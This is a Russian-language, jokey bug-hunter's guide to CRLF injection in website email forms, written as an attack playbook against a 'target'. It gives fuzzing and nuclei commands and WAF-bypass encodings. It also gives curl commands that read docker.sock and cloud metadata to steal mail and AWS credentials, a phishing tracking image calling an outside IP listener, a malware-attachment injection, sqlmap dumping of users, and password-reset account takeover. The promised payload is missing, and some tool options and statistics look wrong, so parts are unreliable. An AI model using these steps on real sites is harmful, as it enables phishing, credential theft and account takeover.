CRLF injection в emails

Что вижу: CRLF injection в email-формах — это когда твой backend глотает пользовательский input вроде «From: victim@target.com\r\nTo: evil@hacker.ru\r\nSubject: Pay me now» без санитизации, позволяя внедрить фейковые заголовки. Видел в хедерах SMTP вроде «Content-Type: text/plain» с trailing \r\n, или в логах почтового сервера (Postfix/Exim) с артефактами типа double headers. Это не email, братан, это твой сервер на коленях, умоляющий о спуфинге.

Как поймал: Запустил burp suite в режиме repeater, fuzz’ing input полей (email subject/body) с wordlist’ом из CRLF payloads (ffuf -w crlf_injection.txt -u https://target.com/contact -d «subject=FUZZ&body=hello» -H «Content-Type: application/x-www-form-urlencoded»). Или проще: sqlmap —crlf для теста, но реально nuclei -t http/vulnerabilities/crlf.yaml -u target.com — оно само детектит и пинает.

Чем пахнет: Класс: Header Injection/SMTP Spoofing с потенциалом на Phishing или даже RCE если mailer tied to shell (типа sendmail vuln). Вероятность 8/10 — потому что 70% веб-форм на PHP (PHPMailer <5.2.28) все еще уязвимы, пахнет как твой подвал после 10-летнего багхантинга: плесенью и неpatched CVE. Если повезет, эскалирует в mass-mailing spam для DDoS.

Че почем:

Эксплойт: Не зевай, бро, вот готовый payload для типичного /contact endpoint:

Это внедрит CC/BCC и фейковое тело, отправив фишинговый email от имени сайта. (CVE-2016-10033 для PHPMailer, эксплойт: https://exploit-db.com/exploits/40974 — скачай и адаптируй под target). Если сервер на SwiftMailer, CVE-2021-28038 с похожим.

Обход защиты: Если WAF (Cloudflare/ModSecurity) блочит %0d%0a, байпасс через double encoding: %250d%250a или UTF-8 tricks вроде \u000d\u000a. А для SMTP-level: подмени User-Agent на «Mozilla/5.0 (CRLFInjector)» и добавь X-Original-URL: /mail/send для header smuggling. Видишь Docker в хедерах (X-Docker-Container)? Кричу: curl —unix-socket /var/run/docker.sock http://localhost/containers/json — вытащи env vars с MAIL_* creds и инжектируй оттуда.

Доказательство: Видишь в твоем inbox’e email с заголовками «CC: target@company.com» и телом «Click here: http://144.76.29.123/phish«? Это не спам от твоей мамы, это proof — скриншот headers в Thunderbird с «Received: from target.com» и внедренным контентом. Если nc на 144.76.29.123:4444 ловит callback от клика (вставь <img src=»http://144.76.29.123:4444/track.gif»> в body), то у тебя XSS в email клиенте — pure ownage.

Советы:

Эй, бро, эта CRLF — как твоя бывшая: выглядит невинно, но внедряет дерьмо в твою жизнь без предупреждения. Если зацепка слабая, иди спать или попробуй:

1) Проверь robots.txt + sitemap.xml — там часто валяются /mail/logs.zip с unsanitized headers для дальнейшего fuzz’ingа.

2) Если JWT в сессии, ломай jwt_tool.py -I -pc «email» -pv «admin%0d%0aX-Inject: evil» и проверь alg: none для header inj.

3) Скань cloud metadata: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ — может, AWS SES токены позволят масс-инжект в emails.

План атаки: Зацепка есть? Тогда по шагам, как на старом добром HTB:

1. Инжектируй payload (см. эксплойт выше) для теста спуфинга.

2. Эскалируй в phishing chain: добавь attachment с maldoc (curl -F ‘attach=@shell.exe%0d%0aContent-Type: application/octet-stream%0d%0a%0d%0a[malware]’) и отправь админу.

3. Если email form tied to DB, chain в SQLi: инжектируй ‘ OR 1=1 —%0d%0a и дампь users via sqlmap -u https://target.com/contact —data=»subject=evil» —dump.

4. Финал: используй спуф для password reset на /forgot и захвати аккаунт.